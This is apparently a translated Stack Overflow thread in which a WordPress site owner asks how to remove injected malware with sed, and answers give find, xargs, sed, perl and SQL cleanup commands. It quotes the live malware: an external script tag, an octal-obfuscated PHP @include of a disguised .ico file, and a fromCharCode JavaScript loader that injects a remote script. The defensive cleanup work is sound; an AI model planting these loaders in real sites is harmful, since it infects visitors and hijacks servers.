Sed veya muhtemelen grep kullanarak tüm dizeyi değiştirme


10

Böylece tüm sunucum saldırıya uğradı veya kötü amaçlı yazılım sorunu yaşadı. sitem WordPress tabanlı ve sunucumda barındırılan sitelerin çoğu WordPress tabanlı. Bilgisayar korsanı bu kod satırını her bir dosyaya ve veritabanına ekledi

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Kullanarak grep ile arama yaptım

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Ben dosya yapısı boyunca yerine çalışıyorum sedve aşağıdaki komutu yazdım.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Ben index.phpişe yaradığını biliyorum, bu yüzden önce tek bir dosya üzerinde dize değiştirmeye çalışıyorum.

ve kodumun yanlış olduğunu biliyorum. Lütfen bana bu konuda yardım et.

@ Eran'ın kodunu denedim ve iyi ve beklendiği gibi tüm satırı sildi. Ancak, toplam jargon budur

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Tüm içeriği silmek isterken php açılış etiketini saklamak istiyorum <?php.

@ Slybloty'nin çözümü kolay olsa da işe yaradı.

etkilenen tüm dosyalardan kodu tamamen kaldırmak için. Aşağıdaki 3 komutu çalıştırıyorum, bunun için hepinize teşekkürler.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Komut dosyası satırını kaldırmak için
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- @includeHattı kaldırmak için
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Yorum satırını kaldırmak için

Ayrıca, '*.html'bilgisayar korsanının komut dosyası tüm dizinlerde istenmeyen index.html oluşturduğundan, 3 komutu da yeniden çalıştırdım . Bu index.html dosyasını silmenin doğru bir yaklaşım olup olmadığından emin değildim.

şimdi, hala önemsiz dosyaları ve izlerini bulmam gerekiyor.

Hacker betiği JS kodunu da ekledi.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Ben de yapabilir miyim görmeye sedçalışıyorum.


Kodunuzun yanlış olduğunu nasıl anlarsınız?
Beta

Çünkü koştum ve sonraki satırda ``
Dilip Gupta

2
Sadece çizgiyi silemez misiniz? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan

1
Ayrıca, bu gibi onlara bu çizgi ile tüm dosyalarda beslemesine orada olmasını grep ekleyebilirsiniz: seçenek sadece dosya adı değil, eşleşen metin sağlar. while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
Jason

1
Bir şey daha ... Bu yaklaşımı kullanırsanız, "yedekleme" isteğe bağlı parametresinden yararlanırım sed -i. Örneğin, düzenlenen tüm dosyalar için sed -i.bakbir *.bakdosya oluşturur . while...grepDöngü ile birlikte kullanıldığında , yalnızca bu dizeyi içeren dosyaları yedeklersiniz. Tüm ek yorumlar için özür dilerim, ama bence kötü amaçlı yazılım "tüm eller üzerinde" senaryosu.
Jason

Yanıtlar:


2

"Dize için çift ​​tırnak ( ) kullanın ve tek tırnaktan ( ') veya etiketlerden ( <>) kaçmayın . Sadece eğik çizgilerden kaçın ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

Sed ile kullanmaya karar verdiğiniz yöntem ne olursa olsun, findve ile mükemmel filtreleme seçenekleriyle birden çok dosyayı aynı anda birden çok dosya üzerinde çalıştırabilirsiniz xargs. Örneğin:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Olacak:

  • find - bul
  • -type f - sadece dosyalar
  • -name '*.txt' - php ile biten
  • -print0 - sıfır bayt ile ayrılmış olarak pritn
  • | xargs -0 - sıfır bayt ile ayrılmış her dosya için
  • -P7 - 7 işlemi aynı anda yürütmek
  • -n1 - her bir dosya için
  • sed - her dosya için sed çalıştır
  • -i - dosyayı yerinde düzenleyin
  • '...' - diğer cevaplardan çalıştırmak istediğiniz sed komut dosyası.

İlerlemeyi görmek için -tseçenek eklemek isteyebilirsiniz xargs. Bkz. Man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


2

Tek tırnak işaretleri tam anlamıyla kaçış karakterleri olmadan alınır. İçinde var='hello\'', kapalı olmayan bir teklifiniz var.

Bu sorunu gidermek için, 1) sedKomutu çevrelemek için çift tırnak kullanın VEYA 2) Tek tırnaklı dizeyi sonlandırın, ekleyin\' ve yeniden açın.

Ancak ikinci yöntem daha kafa karıştırıcıdır.

Ayrıca, sedkomutları ayırmak için herhangi bir sınırlayıcı kullanabilirsiniz. Komutlarda eğik çizgiler bulunduğundan, virgül kullanmak daha kolaydır. Örneğin, ilk yöntemi kullanarak:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

İkinci yöntemi kullanarak:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Bu örnek pratik olmaktan çok eğiticidir. Nasıl '\''çalışır:

Birincisi ': Geçerli alıntı yapılan değişmez dizgeyi sonlandır

\': Değişmez karakter olarak tek tırnak girin

İkincisi ': Alıntılanan değişmez dizgeyi tekrar girin

Orada boşluk olmadığı sürece sadece emrinize devam edeceksiniz sed. Bu fikir benzersizdir bash.

Ben kaçtı <ve >orada bırakıyorum çünkü bu ne için kullandığınızdan tamamen emin değilim. ve sedkullanır\<\> ortalama kelime eşleme. Bunun kasıtlı olup olmadığından emin değilim.

Bu bir şeyle eşleşmiyorsa, muhtemelen <ve öğelerinden kaçmak istemezsiniz >.

Düzenleme: Gerçek soruna daha pratik bir çözüm için lütfen @ EranBen-Natan'ın çözümüne bakın. Benim cevabım daha çok OP'nin orijinal komutuyla neden daha fazla girdi istenmesine ilişkin bir kaynak.

Düzenleme 2 için çözüm

Bunun çalışması için sedstandart olmayan seçeneğiniz olduğunu varsayıyorum -z. GNU sürümü sedbuna sahip olmalıdır. Ayrıca bu kod her zaman 6 satır uzunluğunda biçiminde görüldüğü varsayımı yapıyorum

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Nasıl çalışır: Her şeyle eşleşmek için fromCharCode satırının başlangıcını kullanıyoruz. -zdosyayı yeni satırlar yerine null değerine böler. Bu, doğrudan satır beslemelerini aramamıza olanak tanır.

[^\n]*\n- Bu, satır beslemesine kadar her şeyle eşleşir ve daha sonra açgözlü normal ifade eşleşmesini önleyerek satır beslemesiyle eşleşir. Satır özet akışlarına ( -z) bölünmediğimizden , normal ifade var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nmümkün olan en büyük eşleşmeyle eşleşiyor. Örneğin \n}\n, dosyada daha aşağıda herhangi bir yerde görünürse, orada ve kötü amaçlı kod arasındaki tüm kodu silebilirsiniz. Bu nedenle, bu diziyi 6 kez tekrarlamak bizi ilk satırın sonuna ve sonraki 5 satırın sonuna ulaştırır.

grep -lr- Yalnızca grepeşleşen desene sahip dosyaları listelediğimiz özyinelemeli . Bu şekilde, sedher dosyayı düzenlemezsiniz. Bu olmadan, -i.bak(düz değil -i) bir karmaşa yaratır.


Teşekkürler @ Jason, bunun için yönteminizi deneyeceğim. Şu anda yedekleme seçeneği yok. Bu yüzden onu temizlemekle sıkıştım.
Dilip Gupta

@DilipGupta Şu anda bulunduğunuz yeri yedeklemenizi öneririm. rsyncYedekleme ve geri yükleme gibi bir şey kullanabilirsiniz .
Jason

Adminer.php kullanıyor musunuz? bulaşıcı gibi görünüyor
Jiro Matchonson

1

Wp-mail-smtp eklentisi kurulu mu? Aynı kötü amaçlı yazılımımız var ve içinde garip bir şey vardı wp-content/plugins/wp-mail-smtp/src/Debug.php.

Ayrıca, javascript bağlantısı WordPress veritabanındaki her post_contentalanda bulunur wp_posts.


Evet, bu eklentiyi yükledim ve dediğin gibi orada. Önce temizlemeye, sonra güvenliği sıkılaştırmaya çalışıyorum. Ayrıca, bilgisayar korsanının eklentiyi yüklediğini de unutmayın super-socialat.
Dilip Gupta

Tam olarak bu Debug.php içinde buldunuz, orada garip bir şey bulamadım ama belki başka bir dosyada saklanır, kodun bir kısmını sağlarsanız, lütfen dosyaları arayabilir miyim lütfen? Yüklü yeni eklenti bulunamadı.
Jiro Matchonson

1
Hangi editörü kullandınız? Bunu vim'de açarsam, bu garip şeyi görebilirim, ancak nano veya Geany gibi bazı editörlerde göremiyorum .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

Merhaba, ben winscp üzerinden bakıyordu, ama şimdi de vi denedim, hala bir şey bulamadık. Tnx çok örneğin dosyalarda aramak için tri tri.
Jiro Matchonson

Biraz ışık bakmak $ GLOBALS değişken veya böyle bir şey harf pozisyonları kullanılarak yazılmış bir sql deyimi gibi görünüyor, bu yüzden sadece "trasnaltemyrecords" arayarak bulunamıyor Ben grep -r "NULL aramaya çalıştı NULL ); @ $ "/ var / www / html / { ,. } ya da başka şeyler. Her neyse, wordpress sayfasında eski bir adminer.php vardı, bu yüzden belki de o sızıntı kaynağı olabilir ..
Jiro Matchonson

0

Bugün aynı şeyi aldım, tüm sayfa yayınlarında bu kötü virüs betiği eklendi

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Tarafından veritabanından çıkardı

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

En azından virüslü dosyam yok

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

bir şey bulamadı, ama bu hiç sakin değil veritabanına nasıl var hiçbir fikrim yok.

Bu enfeksiyon sayfalarda yönlendirmelere neden oldu, krom çoğunlukla bunu tespit etti ve engelledi. - /wp-mail-smtp/src/Debug.php içinde garip bir şey fark etmedim


Ben bu eklenti kırılma bazı ilişkili olduğunu düşünüyorum ve korsan siteye arka kapı erişim var.
Dilip Gupta

Ama hangi eklenti, 2 ev geçti ve her şey tekrar yönlendiriliyor
Jiro Matchonson

0

Bugün aynı şeyi aldım, tüm sayfa yayınları komut dosyasını ekledi. Https://en.wordpress.org/plugins/search-and-replace/ eklentisini kullanarak onlarla başarılı bir şekilde başa çıktım .

Ayrıca, wp_posts tablo post_content sütun foeding dize bir kayıt buldum:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

ve manuel olarak sildi.


0

Benim için bu çalıştı:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Aramanız gerekenler: * .js, * .json, * .map

Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.